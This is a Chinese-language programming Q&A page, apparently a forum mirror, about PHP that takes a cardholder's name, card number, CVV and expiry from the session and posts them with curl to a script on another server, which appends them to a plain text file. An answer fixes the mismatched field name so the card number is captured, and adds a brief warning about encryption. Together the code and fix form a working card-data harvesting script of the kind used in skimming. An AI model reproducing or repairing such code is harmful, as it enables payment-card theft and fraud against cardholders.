使用php通过curl发送post数据

使用php通过curl发送post数据,php,session,post,curl,Php,Session,Post,Curl,我在这个脚本中遇到了问题。我面临的问题是,当我在一个变量(如cc_no=3654785698568)中发送大量数据时,我在检查文本文件时,文本文件变为空白。其他变量工作正常 session_set_cookie_params(0); session_start(); echo $cc_name = $_SESSION['card_name']; echo $cc_no = $_SESSION['card_no']; echo $cc_cvv2 = $_SESSION['cvv2']; ech

我在这个脚本中遇到了问题。我面临的问题是,当我在一个变量(如cc_no=3654785698568)中发送大量数据时,我在检查文本文件时,文本文件变为空白。其他变量工作正常

session_set_cookie_params(0);
session_start();


echo $cc_name = $_SESSION['card_name'];
echo $cc_no = $_SESSION['card_no'];
echo $cc_cvv2 = $_SESSION['cvv2'];
echo $cc_expiry = $_SESSION['expiry'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
            "cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry");

// receive server response ...
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$server_output = curl_exec ($ch);

curl_close ($ch);
捕获其他服务器上的值的代码

<?php

$fp = fopen("formdata.txt", "a");
$cc_name1 = $_POST['cc_name'];
$cc_no1 = $_POST['card_no'];
$cc_cvv21 = $_POST['cc_cvv2'];
$cc_expiry1 = $_POST['cc_expiry'];

$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n";

fwrite($fp, $data);
fclose($fp);

?>

应该是:

$cc_no1 = $_POST['cc_no'];
编辑:


我真的希望这只是为了学习。CCs不应以这种方式处理,尤其是在标准http上。

数据库中的字段设置为什么?db列配置如何?首先,我尝试将值存储在txt文件中,以查看所有代码是否正常工作,但当我输入cc_no时,我得到了空白。这与db atmunless无关cc_no是一个bigint,无符号/有符号整数的最大大小可能已溢出2^32或2^31。您没有检查
curl\u error()
。这将是发现问题的第一步。非常感谢!我不敢相信我犯了这么愚蠢的错误。我可以对通过curl发送的值进行编码吗?如果你真的想处理信用卡,你需要遵循这样做的规则/指南。无法帮助您了解具体情况,但可以:加密是必要的,通过安全、可信的连接进行传输也是必要的。
$cc_no1 = $_POST['cc_no'];